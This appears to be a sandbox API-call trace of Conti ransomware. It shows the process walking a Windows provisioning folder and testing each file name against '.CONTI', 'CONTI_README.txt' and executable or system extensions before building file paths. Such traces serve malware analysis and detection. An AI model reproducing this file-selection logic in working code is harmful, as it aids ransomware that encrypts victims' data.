	[0108.184] StrStrIW (lpFirst="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.184] StrStrIW (lpFirst="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.184] StrStrIW (lpFirst="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.184] StrStrIW (lpFirst="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.185] StrStrIW (lpFirst="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.185] StrStrIW (lpFirst="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.185] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.185] lstrlenW (lpString="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml") returned 70
	[0108.185] GetProcessHeap () returned 0x1720000
	[0108.185] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x181df38
	[0108.185] lstrcpyW (in: lpString1=0x181df38, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.185] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.185] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml"
	[0108.185] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="19__CE~1.PRO")) returned 1
	[0108.185] lstrcmpiW (lpString1="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0108.185] lstrcmpiW (lpString1="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0108.185] StrStrIW (lpFirst="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0108.185] StrStrIW (lpFirst="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.185] StrStrIW (lpFirst="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0108.185] StrStrIW (lpFirst="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0108.185] StrStrIW (lpFirst="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0108.185] StrStrIW (lpFirst="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0108.185] StrStrIW (lpFirst="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0108.185] StrStrIW (lpFirst="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.185] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.185] lstrlenW (lpString="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 52
	[0108.185] GetProcessHeap () returned 0x1720000
	[0108.185] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x11e) returned 0x17c7180
	[0108.185] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.185] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.185] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0108.185] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900ca6de, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900ca6de, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900ca6de, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="1__CON~1.PRO")) returned 1
	[0108.185] lstrcmpiW (lpString1="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.185] lstrcmpiW (lpString1="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.185] StrStrIW (lpFirst="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.186] StrStrIW (lpFirst="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.186] StrStrIW (lpFirst="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.186] StrStrIW (lpFirst="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.186] StrStrIW (lpFirst="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.186] StrStrIW (lpFirst="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.186] StrStrIW (lpFirst="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.186] StrStrIW (lpFirst="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.186] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.186] lstrlenW (lpString="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml") returned 74
	[0108.186] GetProcessHeap () returned 0x1720000
	[0108.186] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14a) returned 0x181e090
	[0108.186] lstrcpyW (in: lpString1=0x181e090, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.186] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.186] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml"
	[0108.186] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9077f3c5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9077f3c5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9077f3c5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e1, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", cAlternateFileName="200__C~1.PRO")) returned 1
	[0108.186] lstrcmpiW (lpString1="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.186] lstrcmpiW (lpString1="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.186] StrStrIW (lpFirst="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.186] StrStrIW (lpFirst="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.186] StrStrIW (lpFirst="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.186] StrStrIW (lpFirst="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.186] StrStrIW (lpFirst="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.186] StrStrIW (lpFirst="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.186] StrStrIW (lpFirst="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.186] StrStrIW (lpFirst="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.186] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.186] lstrlenW (lpString="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml") returned 65
	[0108.186] GetProcessHeap () returned 0x1720000
	[0108.186] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x6588a98
	[0108.186] lstrcpyW (in: lpString1=0x6588a98, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.187] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.187] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml"
	[0108.187] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9077f3c5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9077f3c5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9077f3c5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x308, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", cAlternateFileName="201__C~1.PRO")) returned 1
	[0108.187] lstrcmpiW (lpString1="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.187] lstrcmpiW (lpString1="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.187] StrStrIW (lpFirst="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.187] StrStrIW (lpFirst="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.187] StrStrIW (lpFirst="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.187] StrStrIW (lpFirst="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.187] StrStrIW (lpFirst="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.187] StrStrIW (lpFirst="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.187] StrStrIW (lpFirst="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.187] StrStrIW (lpFirst="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.187] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.187] lstrlenW (lpString="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml") returned 69
	[0108.187] GetProcessHeap () returned 0x1720000
	[0108.187] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x65894d8
	[0108.187] lstrcpyW (in: lpString1=0x65894d8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.187] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.187] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml"
	[0108.187] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9077f3c5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9077f3c5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9077f3c5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1dd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", cAlternateFileName="202__C~1.PRO")) returned 1
	[0108.187] lstrcmpiW (lpString1="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.187] lstrcmpiW (lpString1="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.187] StrStrIW (lpFirst="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.187] StrStrIW (lpFirst="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.187] StrStrIW (lpFirst="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.187] StrStrIW (lpFirst="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.187] StrStrIW (lpFirst="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.187] StrStrIW (lpFirst="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.188] StrStrIW (lpFirst="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.188] StrStrIW (lpFirst="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.188] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.188] lstrlenW (lpString="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml") returned 61
	[0108.188] GetProcessHeap () returned 0x1720000
	[0108.188] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x130) returned 0x17c3688
	[0108.188] lstrcpyW (in: lpString1=0x17c3688, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.188] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.188] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml"
	[0108.188] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="203__C~1.PRO")) returned 1
	[0108.188] lstrcmpiW (lpString1="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.188] lstrcmpiW (lpString1="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.188] StrStrIW (lpFirst="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.188] StrStrIW (lpFirst="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.188] StrStrIW (lpFirst="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.188] StrStrIW (lpFirst="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.188] StrStrIW (lpFirst="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.188] StrStrIW (lpFirst="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.188] StrStrIW (lpFirst="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.188] StrStrIW (lpFirst="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.188] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.188] lstrlenW (lpString="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml") returned 61
	[0108.188] GetProcessHeap () returned 0x1720000
	[0108.188] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x130) returned 0x17e1468
	[0108.188] lstrcpyW (in: lpString1=0x17e1468, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.188] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.188] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml"
